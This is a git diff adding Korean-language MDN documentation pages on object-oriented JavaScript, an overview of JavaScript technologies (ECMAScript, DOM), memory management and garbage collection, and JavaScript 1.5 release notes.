+<p>아래의 예에서는 Person 클래스에 sayHello()라는 메서드를 정의하고 사용하고 있다.</p>
+
+<pre class="brush: js">function Person(gender) {
+ this.gender = gender;
+ alert('Person instantiated');
+}
+
+Person.prototype.sayHello = function()
+{
+ alert ('hello');
+};
+
+var person1 = new Person('Male');
+var person2 = new Person('Female');
+
+// call the Person sayHello method.
+person1.sayHello(); // hello
+</pre>
+
+<p>자바스크립트에서 메서드는 "컨텍스트에 관계 없이" 호출될 수 있는 속성으로서 클래스/객체에 연결되어 있다. 다음 예제의 코드를 살펴보자.</p>
+
+<pre class="brush: js">function Person(gender) {
+ this.gender = gender;
+}
+
+Person.prototype.sayGender = function()
+{
+ alert(this.gender);
+};
+
+var person1 = new Person('Male');
+var genderTeller = person1.sayGender;
+
+person1.sayGender(); // alerts 'Male'
+genderTeller(); // alerts undefined
+alert(genderTeller === person1.sayGender); // alerts true
+alert(genderTeller === Person.prototype.sayGender); // alerts true
+</pre>
+
+<p>위의 예제는 많은 개념들을 한꺼번에 보여주고 있다. </p>
+
+<div>먼저 이 예제는 자바스크립트에 "per-object methods" 가 존재하지 않는다는 것을 보여준다. JavaScript는 메서드에 대한 레퍼런스가 모두 똑같은 (프로토타입에 처음 정의한) 함수를 참조하고 있기 때문이다.</div>
+
+<div> </div>
+
+<div>자바스크립트는 어떤 객체의 메서드로서 함수가 호출될 때 현재 "객체의 컨텍스트"를 특별한 "this" 변수에 "연결한다". 이는 아래와 같이 function 객체의 call 메서드를 호출하는 것과 동일하다.</div>
+
+<div> </div>
+
+<div>(역자주: 참고로, genderTeller() 만 호출했을 때 undefined 가 나타난 것은 해당 메서드가 호출될 때 컨텍스트가 window 로 잡혔기 때문에 window.gender 는 존재하지 않으므로 undefined 가 나타난 것이다.)</div>
+
+<div> </div>
+
+<pre class="brush: js">genderTeller.call(person1); //alerts 'Male'
+</pre>
+
+<div class="note">더 자세한 것은 <a href="/en/JavaScript/Reference/Global_Objects/Function/call" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Function/call">Function.call</a> 과 <a href="/en/JavaScript/Reference/Global_Objects/Function/apply" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Function/apply">Function.apply</a> 를 참고하자.</div>
+
+<h4 id="Inheritance" name="Inheritance">상속(Inheritance)</h4>
+
+<p>상속은 하나 이상의 클래스를 특별한 버전의 클래스로 생성하는 하나의 방법이다. (다만 자바스크립트는 오직 하나의 클래스를 상속받는 것만 지원한다.) 이 특별한 클래스는 흔히 자식 클래스(child)라고 불리우고 원본 클래스는 흔히 부모 클래스(parent)라고 불리운다. 자바스크립트에서는 부모 클래스의 인스턴스를 자식 클래스에 할당함으로써 상속이 이루어진다. 최신 브라우저에서는 <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/create#Classical_inheritance_with_Object.create" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/create#Classical_inheritance_with_Object.create">Object.create</a> 메서드를 사용해서 상속을 수행할 수도 있다.</p>
+
+<div class="note">
+<p><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/prototype">Core JavaScript 1.5 Reference:Global Objects:Object:prototype</a> 에 나와있는 설명과 같이 자바스크립트는 자식 클래스의 prototype.constructor 를 검색하지 않으므로 직접 명시해주어야 한다.</p>
+</div>
+
+<p>아래의 예제에서는, Student라는 클래스를 Person 클래스의 자식 클래스로 정의한다. 그 후에 우리는 sayHello() 메서드를 재정의하고 sayGoodBye() 메서드를 추가한다.</p>
+
+<pre class="brush: js">// define the Person Class
+function Person() {}
+
+Person.prototype.walk = function(){
+ alert ('I am walking!');
+};
+Person.prototype.sayHello = function(){
+ alert ('hello');
+};
+
+// define the Student class
+function Student() {
+ // Call the parent constructor
+ Person.call(this);
+}
+
+// inherit Person
+Student.prototype = new Person();
+
+// correct the constructor pointer because it points to Person
+Student.prototype.constructor = Student;
+
+// replace the sayHello method
+Student.prototype.sayHello = function(){
+ alert('hi, I am a student');
+}
+
+// add sayGoodBye method
+Student.prototype.sayGoodBye = function(){
+ alert('goodBye');
+}
+
+var student1 = new Student();
+student1.sayHello();
+student1.walk();
+student1.sayGoodBye();
+
+// check inheritance
+alert(student1 instanceof Person); // true
+alert(student1 instanceof Student); // true
+</pre>
+
+<p>Object.create 를 사용하면 상속을 아래와 같이 수행할 수 있다.</p>
+
+<pre class="brush: js">Student<code class="js plain">.prototype = Object.create(</code>Person<code class="js plain">.prototype);</code></pre>
+
+<h4 id="Encapsulation" name="Encapsulation">캡슐화(Encapsulation)</h4>
+
+<p>이전의 예제에서, Student 클래스는 Person 클래스의 walk() 메서드가 어떻게 실행되는지에 대해 알 필요가 없고, walk() 메서드를 사용하는데에도 전혀 문제가 없다. 또 Student 클래스에서는 walk() 메서드의 내용을 바꾸려는게 아니라면 walk() 메서드를 특별히 정의할 필요도 없다. 자식 클래스는 부모 클래스의 모든 메서드를 상속받고, 상속받은 메서드중 일부를 수정하고 싶은 경우에만 해당 메서드를 정의하는 것을 우리는 캡슐화(encapsulation)이라고 부른다.</p>
+
+<h4 id="Abstraction" name="Abstraction">추상화(Abstraction)</h4>
+
+<p>추상화는 작업 문제의 현재 부분을 모델링할 수 있도록 하는 매커니즘이다. 추상화는 상속(specialization, 추상의 수준을 낮추는 것)과 합성으로 구현할 수 있다. 자바스크립트는 상속에 의해 특별화(specialization)를, 클래스들의 인스턴스를 다른 객체의 속성값이 되게 함으로써 합성을 구현한다.</p>
+
+<p>자바스크립트 Function 클래스는 Object 클래스를 상속받고(이는 모델의 특별화를 보여준다), Function.prototype 속성은 Object의 인스턴스이다(이는 합성을 보여준다).</p>
+
+<pre class="brush: js">var foo = function(){};
+alert( 'foo is a Function: ' + (foo instanceof Function) );
+alert( 'foo.prototype is an Object: ' + (foo.prototype instanceof Object) );
+</pre>
+
+<h4 id="Polymorphism" name="Polymorphism">다형성(Polymorphism)</h4>
+
+<p>모든 메서드와 속성들은 prototype 속성에 선언되어 있고, 클래스가 다르다면 같은 이름의 메서드도 선언할 수 있다. 메서드들은 메서드가 선언된 클래스로 그 실행 영역이 한정된다. 물론 이건 두 개의 클래스들이 서로 부모-자식 관계가 아닐때에만 성립한다. 즉 다시 말해 부모-자식 관계의 상속 관계로 하나가 다른 하나에게서 상속받지 않았을 때에만 성립한다.</p>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>객체지향 프로그래밍을 구현하는데 있어서 자바스크립트는 매우 유연하기 때문에, 이 글에서 선보인 테크닉들은 자바스크립트에서 객체지향을 구현하는 유일한 방법들 중 일부일 뿐이다.</p>
+
+<p>또, 여기에서 선보인 테크닉들은 어떤 hack도 사용하지 않았고 또한 다른 언어의 객체 이론 구현물들을 모방하지도 않았다.</p>
+
+<p>자바스크립트의 객체지향 프로그래밍에 있어서 다른 보다 깊이있는 테크닉들이 많이 있지만, 소개하는 글이라는 이 글의 특성상 다루지 않기로 한다.</p>
+
+<h2 id="References" name="References">References</h2>
+
+<ol>
+ <li>Mozilla. "Core JavaScript 1.5 Guide", http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Guide</li>
+ <li>Wikipedia. "Object-oriented programming", <a class="external" href="http://en.wikipedia.org/wiki/Object-oriented_programming" rel="freelink">http://en.wikipedia.org/wiki/Object-...ed_programming</a></li>
+</ol>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Fernando Trasviña &lt;f_trasvina at hotmail dot com&gt;</li>
+ <li>Copyright Information: © 1998-2005 by individual mozilla.org contributors; content available under a <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Creative Commons license</a></li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/ko/web/javascript/javascript_technologies_overview/index.html b/files/ko/web/javascript/javascript_technologies_overview/index.html
new file mode 100644
index 0000000000..185a417001
--- /dev/null
+++ b/files/ko/web/javascript/javascript_technologies_overview/index.html
@@ -0,0 +1,83 @@
+---
+title: JavaScript 기술 개요
+slug: Web/JavaScript/JavaScript_technologies_overview
+tags:
+ - Beginner
+ - DOM
+ - JavaScript
+translation_of: Web/JavaScript/JavaScript_technologies_overview
+---
+<div>{{JsSidebar("Introductory")}}</div>
+
+<h2 id="개요">개요</h2>
+
+<p><a href="/ko/docs/Web/HTML">HTML</a>이 웹 페이지의 구조와 내용을, <a href="/ko/docs/Web/CSS">CSS</a>가 서식과 외관을 결정한다면, <a href="/ko/docs/Web/JavaScript">JavaScript</a>는 상호작용성을 추가하여 풍부한 웹 어플리케이션을 만듭니다.</p>
+
+<p>그러나, 웹 브라우저 맥락에서 포괄적으로 쓰이는 용어로써의 "JavaScript"는 사실 매우 다른 요소 여럿을 포함하는 것입니다. 그 중 하나는 핵심 언어(ECMAScript)고, 다른 하나는 DOM(Document Object Model)을 포함한 <a href="/ko/docs/Web/API">Web API</a>입니다.</p>
+
+<h2 id="핵심_언어_JavaScript(ECMAScript)">핵심 언어, JavaScript(ECMAScript)</h2>
+
+<p>JavaScript의 핵심 언어는 ECMA TC39 위원회가 <a href="/ko/docs/Web/JavaScript/Language_Resources">ECMAScript</a>라는 이름으로 표준화했습니다.</p>
+
+<p>핵심 언어는 <a href="https://nodejs.org">Node.js</a> 등 비브라우저 환경에서도 사용됩니다.</p>
+
+<h3 id="ECMAScript에_속하는_것">ECMAScript에 속하는 것</h3>
+
+<p>ECMAScript는 다음 항목을 포함하고 있습니다.</p>
+
+<ul>
+ <li>언어 구문 (구문 분석 규칙, 키워드, 흐름 제어, 객체 리터럴 초기화 등)</li>
+ <li>오류 처리 방법 ({{jsxref("Statements/throw", "throw")}}, {{jsxref("Statements/try...catch", "try...catch")}}, 사용자 정의 {{jsxref("Error")}} 유형 등)</li>
+ <li>자료형 (불리언, 숫자, 문자열, 함수, 객체, ...)</li>
+ <li>전역 객체. 브라우저에서 전역 객체는 {{domxref("Window", "window")}} 객체지만, ECMAScript는 브라우저에 국한되지 않는 API({{jsxref("parseInt")}}, {{jsxref("parseFloat")}}, {{jsxref("decodeURI")}}, {{jsxref("encodeURI")}} 등)만 정의합니다.</li>
+ <li>프로토타입 기반 상속 구조</li>
+ <li>내장 객체 및 함수 ({{jsxref("JSON")}}, {{jsxref("Math")}}, {{jsxref("Array.prototype", "Array.prototype", "메서드")}} 메서드, {{jsxref("Object")}} 내성검사 메서드 등)</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드</a></li>
+</ul>
+
+<h3 id="브라우저_지원">브라우저 지원</h3>
+
+<p>2016년 10월 기준 주요 브라우저의 현버전은 ECMAScript 5.1과 ECMAScript 2015를 구현하지만, (여전히 사용 중인) 오래된 브라우저는 ECMAScript 5만 구현합니다.</p>
+
+<h3 id="미래">미래</h3>
+
+<p>2015년 7월 17일, ECMAScript 6판이 ECMA General Assembly에 의해 공식으로 채택되고 표준으로 출판됐습니다. 이후 ECMAScript는 매년 새로운 판을 출판하고 있습니다.</p>
+
+<h3 id="국제화_API">국제화 API</h3>
+
+<p><a href="http://ecma-international.org/ecma-402/1.0/">ECMAScript 국제화 API 명세</a>는 ECMAScript 언어 명세의 부속이며, 마찬가지로 ECMA TC39가 표준화했습니다. 국제화 API는 JavaScript 어플리케이션에 콜레이션(문자열 비교), 숫자 서식, 날짜 및 시간 서식 기능을 제공하므로, 어플리케이션이 언어를 선택하고 필요에 맞춰 기능을 적용할 수 있는 방법입니다. 초기 표준안은 2012년 12월에 통과했으며 브라우저 구현 상태는 {{jsxref("Intl")}} 객체 문서에서 추적 중입니다. 최근에는 국제화 명세도 매년 비준하고 있으며 브라우저 구현도 계속하여 향상 중입니다.</p>
+
+<h2 id="DOM_API">DOM API</h2>
+
+<h3 id="WebIDL">WebIDL</h3>
+
+<p><a class="external" href="https://heycam.github.io/webidl/" title="http://dev.w3.org/2006/webapi/WebIDL/">WebIDL 명세</a>는 DOM 기술과 ECMAScript 사이를 연결하는 역할을 합니다.</p>
+
+<h3 id="DOM의_핵심">DOM의 핵심</h3>
+
+<p>DOM(Document Object Model)은 HTML, XHTML, XML 문서의 객체를 나타내고 상호작용하기 위한, <strong>언어에 제약되지 않는</strong> 크로스 플랫폼 협약입니다. DOM 트리의 객체는 해당 객체의 메서드를 사용해 조작할 수 있습니다. {{glossary("W3C")}}는 HTML와 XML 문서를 객체로 추상화하는 Core Document Object Model을 표준화하고, 추상화를 조작하기 위한 방법도 정의합니다. DOM에 정의된 내용 중 일부는 다음과 같습니다.</p>
+
+<ul>
+ <li>문서 구조, 트리 모델, <a class="external" href="https://dom.spec.whatwg.org/" title="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html">DOM core</a>의 DOM Event Architecture: {{domxref("Node")}}, {{domxref("Element")}}, {{domxref("DocumentFragment")}}, {{domxref("Document")}}, {{domxref("DOMImplementation")}}, {{domxref("Event")}}, {{domxref("EventTarget")}}, …</li>
+ <li>덜 엄격한 DOM Event Architecture 정의, <a class="external" href="https://w3c.github.io/uievents/" title="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html">DOM events</a>에 속하는 특정 이벤트.</li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html">DOM Traversal</a>, <a class="external" href="https://dom.spec.whatwg.org/#ranges" title="http://html5.org/specs/dom-range.html">DOM Range</a> 등</li>
+</ul>
+
+<p>ECMAScript의 관점에서, DOM 명세에 정의된 객체는 "호스트 객체"라고 부릅니다.</p>
+
+<h3 id="HTML_DOM">HTML DOM</h3>
+
+<p>웹 마크업 언어인 <a class="external" href="http://www.whatwg.org/html" title="http://www.whatwg.org/html">HTML</a>은 DOM 코어에 정의된 추상화 개념에 엘리먼트의 <em>의미</em>를 더한 레이어라고 할 수 있겠다. HTML DOM은 HTML 엘리먼트의 <code>className</code> 같은 속성과 {{ domxref("document.body") }} 같은 API도 포함한다.</p>
+
+<p>HTML 명세는 문서의 제약도 정의한다. 예를들어 순서가 없는 리스트를 나타내는 <code>ul</code> 의 모든 자식들은 리스트 요소를 나타내는 <code>li</code> 엘리먼트여야 한다. 또한 표준에 정의되지 않은 엘리먼트와 속성을 사용하는것도 금지된다.</p>
+
+<h2 id="알아둘만한_다른_API">알아둘만한 다른 API</h2>
+
+<ul>
+ <li>setTimeout 과 setInterval 함수는 HTML 표준의 <a class="external" href="http://www.whatwg.org/html/#window" title="http://www.whatwg.org/html/#window">Window</a> 인터페이스에 처음으로 정의되었다.</li>
+ <li><a class="external" href="http://dev.w3.org/2006/webapi/XMLHttpRequest-2/" title="http://dev.w3.org/2006/webapi/XMLHttpRequest-2/">XMLHttpRequest</a>는 비동기적 HTTP 요청을 보낼 수 있게 해주는 API이다.</li>
+ <li><a class="external" href="http://dev.w3.org/csswg/cssom/">CSS Object Model</a>는 CSS 규칙을 오브젝트처럼 다룰 수 있도록 추상화 해준다.</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-workers/current-work/">WebWorkers</a>는 병렬 처리를 가능하게 하는 API이다.</li>
+ <li><a class="external" href="http://www.whatwg.org/C/#network">WebSockets</a>는 양방향 저수준 통신을 가능하게 하는 API이다.</li>
+ <li><a class="external" href="http://www.whatwg.org/html/#2dcontext" title="http://www.whatwg.org/html/#2dcontext">Canvas 2D Context</a>는 canvas 엘리먼트에 그릴 수 있게 해주는 API이다.</li>
+</ul>
diff --git a/files/ko/web/javascript/memory_management/index.html b/files/ko/web/javascript/memory_management/index.html
new file mode 100644
index 0000000000..22cccc5e76
--- /dev/null
+++ b/files/ko/web/javascript/memory_management/index.html
@@ -0,0 +1,183 @@
+---
+title: 자바스크립트의 메모리관리
+slug: Web/JavaScript/Memory_Management
+translation_of: Web/JavaScript/Memory_Management
+---
+<p>{{JsSidebar("Advanced")}}<br>
+ C 언어같은 저수준 언어에서는 메모리 관리를 위해 <code>malloc()</code> 과 <code>free()</code>를 사용한다. 반면, 자바스크립트는 객체가 생성되었을 때 자동으로 메모리를 할당하고 쓸모 없어졌을 때 자동으로 해제한다(가비지 컬렉션). 이러한 자동 메모리 관리는 잠재적 혼란의 원인이기도 한데, 개발자가 메모리 관리에 대해 고민할 필요가 없다는 잘못된 인상을 줄 수 있기 때문이다.</p>
+
+<h2 id="메모리_생존주기">메모리 생존주기</h2>
+
+<p>메모리 생존주기는 프로그래밍 언어와 관계없이 비슷하다.</p>
+
+<ol>
+ <li>필요할때 할당한다.</li>
+ <li>사용한다. (읽기, 쓰기)</li>
+ <li>필요없어지면 해제한다. </li>
+</ol>
+
+<p>두 번째 부분은 모든 언어에서 명시적으로 사용된다. 그러나 첫 번째 부분과 마지막 부분은 저수준 언어에서는 명시적이며, 자바스크립트와 같은 대부분의 고수준 언어에서는 암묵적으로 작동한다. </p>
+
+<h3 id="자바스크립트에서_메모리_할당">자바스크립트에서 메모리 할당</h3>
+
+<h4 id="값_초기화">값 초기화</h4>
+
+<p>프로그래머를 할당 문제로 괴롭히지 않기 위해서, 자바스크립트는 값을 선언할 때 자동으로 메모리를 할당한다.</p>
+
+<div style="overflow: hidden;">
+<pre class="brush: js">var n = 123; // 정수를 담기 위한 메모리 할당
+var s = 'azerty'; // 문자열을 담기 위한 메모리 할당
+
+var o = {
+ a: 1,
+ b: null
+}; // 오브젝트와 그 오브젝트에 포함된 값들을 담기 위한 메모리 할당
+
+// (오브젝트처럼) 배열과 배열에 담긴 값들을 위한 메모리 할당
+var a = [1, null, 'abra'];
+
+function f(a){
+ return a + 2;
+} // 함수를 위한 할당(함수는 호출 가능한 오브젝트이다)
+
+// 함수식 또한 오브젝트를 담기위한 메모리를 할당한다.
+someElement.addEventListener('click', function(){
+ someElement.style.backgroundColor = 'blue';
+}, false);
+</pre>
+</div>
+
+<h4 id="함수_호출을_통한_할당">함수 호출을 통한 할당</h4>
+
+<p>함수 호출의 결과 메모리 할당이 일어나기도 한다. </p>
+
+<pre class="brush: js">var d = new Date(); // Date 개체를 위해 메모리를 할당
+
+var e = document.createElement('div'); // DOM 엘리먼트를 위해 메모리를 할당한다.
+</pre>
+
+<p>메소드가 새로운 값이나 오브젝트를 할당하기도 한다.</p>
+
+<pre class="brush: js">var s = 'azerty';
+var s2 = s.substr(0, 3); // s2는 새로운 문자열
+// 자바스크립트에서 문자열은 immutable 값이기 때문에,
+// 메모리를 새로 할당하지 않고 단순히 [0, 3] 이라는 범위만 저장한다.
+
+var a = ['ouais ouais', 'nan nan'];
+var a2 = ['generation', 'nan nan'];
+var a3 = a.concat(a2);
+// a 와 a2 를 이어붙여, 4개의 원소를 가진 새로운 배열
+</pre>
+
+<h3 id="값_사용">값 사용</h3>
+
+<p>값 사용이란 기본적으로는 할당된 메모리를 읽고 쓰는 것을 의미한다. 변수나 오브젝트 속성 값을 읽고 쓸때 값 사용이 일어난다. 또 함수 호출시 함수에 인수를 넘길때도 일어난다. </p>
+
+<h3 id="할당된_메모리가_더_이상_필요없을_때_해제하기">할당된 메모리가 더 이상 필요없을 때 해제하기</h3>
+
+<p>이 단계에서 대부분의 문제가 발생한다. "할당된 메모리가 더 이상 필요없을 때"를 알아내기가 어렵기 때문이다.</p>
+
+<p>저수준 언어에서는 메모리가 필요없어질 때를 개발자가 직접 결정하고 해제하는 방식을 사용한다. </p>
+
+<p>자바스크립트와 같은 고수준 언어들은 "<a href="https://en.wikipedia.org/wiki/Garbage_collection_(computer_science)">가비지 콜렉션</a>(GC)"이라는 자동 메모리 관리 방법을 사용한다. 가비지 콜렉터의 목적은 메모리 할당을 추적하고 할당된 메모리 블록이 더 이상 필요하지 않게게 되었는지를 판단하여 회수하는 것이다. 이러한 자동 메모리 관리 프로세스는 궁극의 방법은 아니다. 왜냐하면 어떤 메모리가 여전히 필요한지 아닌지를 판단하는 것은 <a class="external" href="http://en.wikipedia.org/wiki/Decidability_%28logic%29">비결정적</a> 문제이기 때문이다.</p>
+
+<h2 id="가비지_콜렉션">가비지 콜렉션</h2>
+
+<p>위에서 언급한 것처럼 "더 이상 필요하지 않은" 모든 메모리를 찾는건 비결정적 문제다. 따라서 가비지 컬렉터들은 이 문제에 대한 제한적인 해결책을 구현한다. 이 섹션에서는 주요한 가비지 컬렉션 알고리즘들과 그 한계를 이해하는데 필요한 개념을 설명한다.</p>
+
+<h3 id="참조">참조</h3>
+
+<p>가비지 콜렉션 알고리즘의 핵심 개념은 <em>참조</em>이다. A라는 메모리를 통해 (명시적이든 암시적이든) B라는 메모리에 접근할 수 있다면 "B는 A에 참조된다" 라고 한다. 예를 들어 모든 자바스크립트 오브젝트는 <a href="/en/JavaScript/Guide/Inheritance_and_the_prototype_chain" title="en/JavaScript/Guide/Inheritance_and_the_prototype_chain">prototype</a> 을 암시적으로 참조하고 그 오브젝트의 속성을 명시적으로 참조한다.</p>
+
+<p>앞으로 "오브젝트"라는 어휘의 의미를 넓혀서 기존의 자바스크립트 오브젝트뿐만 아니라 함수 스코프도 포괄하자.</p>
+
+<h3 id="참조-세기Reference-counting_가비지_콜렉션">참조-세기(Reference-counting) 가비지 콜렉션</h3>
+
+<p>참조-세기 알고리즘은 가장 소박한 알고리즘이다. 이 알고리즘은 "더 이상 필요없는 오브젝트"를 "어떤 다른 오브젝트도 참조하지 않는 오브젝트"라고 정의한다. 이 오브젝트를 "가비지"라 부르며, 이를 참조하는 다른 오브젝트가 하나도 없는 경우, 수집이 가능하다.</p>
+
+<h4 id="예제">예제</h4>
+
+<pre class="brush: js">var x = {
+ a: {
+ b:2
+ }
+};
+// 2개의 오브젝트가 생성되었다. 하나의 오브젝트는 다른 오브젝트의 속성으로 참조된다.
+// 나머지 하나는 'x' 변수에 할당되었다.
+// 명백하게 가비지 콜렉션 수행될 메모리는 하나도 없다.
+
+
+var y = x; // 'y' 변수는 위의 오브젝트를 참조하는 두 번째 변수이다.
+x = 1; // 이제 'y' 변수가 위의 오브젝트를 참조하는 유일한 변수가 되었다.
+
+var z = y.a; // 위의 오브젝트의 'a' 속성을 참조했다.
+ // 이제 'y.a'는 두 개의 참조를 가진다.
+ // 'y'가 속성으로 참조하고 'z'라는 변수가 참조한다.
+
+y = "yo"; // 이제 맨 처음 'y' 변수가 참조했던 오브젝트를 참조하는 오브젝트는 없다.
+  // (역자: 참조하는 유일한 변수였던 y에 다른 값을 대입했다)
+ // 이제 오브젝트에 가비지 콜렉션이 수행될 수 있을까?
+ // 아니다. 오브젝트의 'a' 속성이 여전히 'z' 변수에 의해 참조되므로
+  // 메모리를 해제할 수 없다.
+
+z = null; // 'z' 변수에 다른 값을 할당했다.
+  // 이제 맨 처음 'x' 변수가 참조했던 오브젝트를 참조하는
+ // 다른 변수는 없으므로 가비지 콜렉션이 수행된다.
+</pre>
+
+<h4 id="한계_순환_참조">한계: 순환 참조</h4>
+
+<p>순환 참조를 다루는 일에는 한계가 있다. 다음 예제에서는 두 객체가 서로 참조하는 속성으로 생성되어 순환 구조를 생성한다. 함수 호출이 완료되면 이 두 객체는 스코프를 벗어나게 될 것이며, 그 시점에서 두 객체는 불필요해지므로 할당된 메모리는 회수되어야 한다. 그러나 두 객체가 서로를 참조하고 있으므로, 참조-세기 알고리즘은 둘 다 가비지 컬렉션의 대상으로 표시하지 않는다. 이러한 순환 참조는 메모리 누수의 흔한 원인이다.</p>
+
+<pre class="brush: js">function f(){
+ var o = {};
+ var o2 = {};
+ o.a = o2; // o는 o2를 참조한다.
+ o2.a = o; // o2는 o를 참조한다.
+
+ return "azerty";
+}
+
+f();
+</pre>
+
+<h4 id="실제_예제">실제 예제</h4>
+
+<p>인터넷 익스플로러 6, 7 은 DOM 오브젝트에 대해 참조-세기 알고리즘으로 가비지 콜렉션을 수행한다. 흔히, 이 두 브라우저에서는 다음과 같은 패턴의 메모리 누수가 발생한다. </p>
+
+<pre class="brush: js">var div = document.createElement("div");
+div.onclick = function(){
+ doSomething();
+}; // div 오브젝트는 이벤트 핸들러를 'onclick' 속성을 통해 참조한다.
+// 이벤트 핸들러의 스코프에도 div 오브젝트가 있으므로 div 오브젝트에 접근할 수 있다. 따라서 이벤트 핸들러도 div 오브젝트를 참조한다.
+// 순환이 발생했고 메모리 누수가 일어난다.
+</pre>
+
+<h3 id="표시하고-쓸기Mark-and-sweep_알고리즘">표시하고-쓸기(Mark-and-sweep) 알고리즘</h3>
+
+<p>이 알고리즘은 "더 이상 필요없는 오브젝트"를 "닿을 수 없는 오브젝트"로 정의한다.</p>
+
+<p>이 알고리즘은 <em>roots</em> 라는 오브젝트의 집합을 가지고 있다(자바스크립트에서는 전역 변수들을 의미한다). 주기적으로 가비지 콜렉터는 roots로 부터 시작하여 roots가 참조하는 오브젝트들, roots가 참조하는 오브젝트가 참조하는 오브젝트들... 을 <em>닿을 수 있는 오브젝트</em>라고 표시한다. 그리고 닿을 수 있는 오브젝트가 아닌 닿을 수 없는 오브젝트에 대해 가비지 콜렉션을 수행한다.</p>
+
+<p>이 알고리즘은 위에서 설명한 참조-세기 알고리즘보다 효율적이다. 왜냐하면 "참조되지 않는 오브젝트"는 모두 "닿을 수 없는 오브젝트" 이지만 역은 성립하지 않기 때문이다. 위에서 반례인 순환 참조하는 오브젝트들을 설명했다.</p>
+
+<p>2012년 기준으로 모든 최신 브라우저들은 가비지 콜렉션에서 표시하고-쓸기 알고리즘을 사용한다. 지난 몇 년간 연구된 자바스크립트 가비지 콜렉션 알고리즘의 개선들은 모두 이 알고리즘에 대한 것이다. 개선된 알고리즘도 여전히 "더 이상 필요없는 오브젝트"를 "닿을 수 없는 오브젝트"로 정의하고 있다.</p>
+
+<h4 id="순환_참조는_이제_문제가_되지_않는다.">순환 참조는 이제 문제가 되지 않는다.</h4>
+
+<p>첫 번째 예제에서 함수가 리턴되고 나서 두 오브젝트는 닿을 수 없다. 따라서 가비지 콜렉션이 일어난다.</p>
+
+<p>두 번째 예제에서도 마찬가지다. div 변수와 이벤트 핸들러가 roots로 부터 닿을 수 없어지면 순환 참조가 일어났음에도 불구하고 가비지 콜렉션이 일어난다. (역자2: div 선언을 블럭안에다 넣어야 된다.(테스트는 못 해봤다.))</p>
+
+<h4 id="한계_수동_메모리_해제.">한계: 수동 메모리 해제.</h4>
+
+<p>어떤 메모리를 언제 해제할지에 대해 수동으로 결정하는 것이 편리할 때가 있습니다. 그리고 수동으로 객체의 메모리를 해제하려면, 객체 메모리에 도달할 수 없도록 명시하는 기능이 있어야 합니다.<br>
+ <br>
+ 2019년 현재의 JavaScript에서는 명시적으로 또는 프로그래밍 방식으로 가비지 컬렉션을 작동할 수 없습니다.</p>
+
+<p>더 보기</p>
+
+<ul>
+ <li><a class="external" href="http://www.ibm.com/developerworks/web/library/wa-memleak/">IBM article on "Memory leak patterns in JavaScript" (2007)</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/magazine/ff728624.aspx">Kangax article on how to register event handler and avoid memory leaks (2010)</a></li>
+</ul>
diff --git a/files/ko/web/javascript/new_in_javascript/1.5/index.html b/files/ko/web/javascript/new_in_javascript/1.5/index.html
new file mode 100644
index 0000000000..a34931d815
--- /dev/null
+++ b/files/ko/web/javascript/new_in_javascript/1.5/index.html
@@ -0,0 +1,37 @@
+---
+title: New in JavaScript 1.5
+slug: Web/JavaScript/New_in_JavaScript/1.5
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.5
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>다음은 JavaScript 1.5의 변경 내역입니다. 이 버전은 2000년 11월 14일에 출시된 Netscape Navigator 6.0과 그 이 후 버전 그리고 Firefox 1.0에 포함되어 있습니다. You can compare JavaScript 1.5 to JScript version 5.5 and Internet Explorer 5.5, which was released in July 2000. 해당하는 ECMA 표준은 ECMA-262 Edition 3(1999년 12월 이후) 입니디.</p>
+
+<h2 id="New_features_in_JavaScript_1.5">New features in JavaScript 1.5</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code> is now a <code><a href="/en-US/docs/Web/JavaScript/Reference/Reserved_Words">reserved word</a></code>.</li>
+ <li>Multiple catch clauses in a <a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>try...catch</code></a> statement are supported.</li>
+ <li>JavaScript authors can now add getters and setters to their objects.</li>
+</ul>
+
+<h2 id="Changed_functionality_in_JavaScript_1.5">Changed functionality in JavaScript 1.5</h2>
+
+<ul>
+ <li>Runtime errors are now reported as exceptions.</li>
+ <li>Regular Expression changes:
+ <ul>
+ <li>Quantifiers — +, *, ? and {} — can now be followed by a ? to force them to be non-greedy.</li>
+ <li>Non-capturing parentheses, (?:x) can be used instead of capturing parentheses, (x). When non-capturing parentheses are used, matched subexpressions are not available as back-references.</li>
+ <li>Positive and negative lookahead assertions are supported. Both assert a match depending on what follows the string being matched.</li>
+ <li>The m flag has been added to specify that the regular expression should match over multiple lines.</li>
+ </ul>
+ </li>
+ <li>Functions can now be declared inside an if clause.</li>
+ <li>
+ <p>Functions can now be declared inside an expression.</p>
+ </li>
+</ul>
diff --git a/files/ko/web/javascript/new_in_javascript/1.6/index.html b/files/ko/web/javascript/new_in_javascript/1.6/index.html
new file mode 100644
index 0000000000..db92810578
--- /dev/null
+++ b/files/ko/web/javascript/new_in_javascript/1.6/index.html
@@ -0,0 +1,85 @@
+---
+title: New in JavaScript 1.6
+slug: Web/JavaScript/New_in_JavaScript/1.6
+tags:
+ - E4X
+ - JavaScript
+ - JavaScript_version_overviews
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.6
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
